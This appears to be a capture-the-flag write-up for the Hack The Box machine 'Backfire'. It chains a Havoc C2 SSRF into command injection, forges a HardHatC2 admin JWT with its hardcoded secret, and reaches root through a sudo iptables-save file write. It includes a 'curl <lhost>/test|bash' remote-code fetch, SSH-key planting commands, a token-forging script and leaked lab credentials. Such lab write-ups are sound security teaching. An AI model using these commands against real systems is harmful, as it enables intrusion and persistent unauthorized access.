Hacking Backfire
Backfire chains an exposed Havoc C2 SSRF into WebSocket RCE, abuses a second C2 (HardHatC2) with a default JWT secret to move to a service account, and escalates via a passwordless sudo iptables-save arbitrary file write.
Overview
Backfire is a medium Linux box built around red-team infrastructure. The foothold abuses an exposed Havoc command-and-control server: a server-side request forgery (CVE-2024-41570) is pivoted into Havoc’s localhost WebSocket API and turned into RCE through the implant-compile process. From there a second C2, HardHatC2, is running locally with its default hardcoded JWT secret — we forge an admin token, register our own operator, and use the built-in terminal (which runs as sergej) to move laterally. Finally, sergej can run iptables-save as root, which is an arbitrary file write that we use to overwrite root’s authorized_keys.
Recon
| Port | Service | Notes |
|---|---|---|
| 22 | OpenSSH 9.2p1 | |
| 443 | nginx 1.22.1 | reverse proxy / Havoc redirector |
| 8000 | nginx 1.22.1 | directory listing |
1
nmap -p- -sV -T4 10.129.13.140
Enumeration
Port 8000 has a directory listing exposing two files — disable_tls.patch (which downgrades Havoc’s WebSocket to plaintext) and havoc.yaotl, a Havoc C2 profile.
1
curl http://10.129.13.140:8000/havoc.yaotl
The profile leaks operator credentials and tells us the teamserver’s WebSocket listener is on 127.0.0.1:40056:
ilya:CobaltStr1keSuckz!sergej:1w4nt2sw1tch2h4rdh4tc2
Foothold
Havoc <= 0.7 is vulnerable to CVE-2024-41570: a spoofed demon-agent registration lets an unauthenticated attacker open arbitrary TCP sockets from the teamserver — a server-side request forgery. We use that socket to speak the WebSocket protocol to the localhost teamserver API, authenticate as ilya, and inject a command into the demon’s Service Name build field — the value reaches the compiler command line, giving us command injection that runs as ilya during payload compilation.
We serve a payload that drops our SSH key into ilya’s account.
Create web/test:
1
2
3
4
mkdir -p /home/ilya/.ssh
echo '<attacker-ssh-pubkey>' >> /home/ilya/.ssh/authorized_keys
chmod 700 /home/ilya/.ssh
chmod 600 /home/ilya/.ssh/authorized_keys
1
2
3
python3 -m http.server 80 --bind <lhost> &
echo 'curl <lhost>/test|bash' | python3 cand.py -t https://10.129.13.140/ -i 127.0.0.1 -p 40056 -U ilya -P '<pass>'
ssh -i ilya_key [email protected]
User flag
1
cat /home/ilya/user.txt # HTB{...}
Access as ilya achieved.
Lateral Movement
ilya’s home note mentions sergej installed HardHatC2 “with defaults.” Internally, HardHatC2 exposes a TeamServer API on 5000 and a Blazor UI on 7096 — both firewalled off externally, so we forward them through SSH.
1
ssh -i ilya_key -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 -N [email protected] &
HardHatC2 ships a hardcoded JWT signing key in appsettings.json — a textbook use of hard-coded credentials. We forge an Administrator token and hit the admin-only registration endpoint, which creates a real account (the server hashes the plaintext for us).
Create /tmp/hh.jwt:
1
2
3
4
5
6
7
8
9
10
import jwt, uuid, datetime
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
claims = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator",
"iss": "hardhatc2.com", "aud": "hardhatc2.com",
"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=999),
}
open("/tmp/hh.jwt", "w").write(jwt.encode(claims, secret, algorithm="HS256"))
1
curl -k -X POST https://127.0.0.1:5000/Login/Register -H "Authorization: Bearer $(cat /tmp/hh.jwt)" -H 'Content-Type: application/json' -d '{"Username":"pwn2","Password":"<pass>","Role":"TeamLead"}'
We register with role TeamLead (not Administrator) because the implant-interact page is gated to Operator/TeamLead. Then we log into the 7096 web UI as that user, open ImplantInteract → Terminal → new tab, and run a command — the HardHatC2 terminal executes host-side as the teamserver account sergej:
1
mkdir -p /home/sergej/.ssh && echo '<attacker-ssh-pubkey>' >> /home/sergej/.ssh/authorized_keys && chmod 600 /home/sergej/.ssh/authorized_keys
1
2
ssh -i ilya_key [email protected]
sudo -l
Privilege Escalation
sergej may run iptables and iptables-save as root with no password:
1
2
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
iptables-save -f <file> writes the ruleset to any path as root, and iptables preserves a rule’s --comment text verbatim — including newlines. By embedding a newline-wrapped SSH key in a comment and saving the ruleset over root’s authorized_keys, our key lands on its own valid line; sshd ignores the surrounding iptables-save syntax. This is external control of a file path granted by a careless sudoers rule.
1
2
3
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n<attacker-ssh-pubkey>\n'
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
ssh -i ilya_key [email protected]
Root flag
1
cat /root/root.txt # HTB{...}
Full compromise — uid=0(root).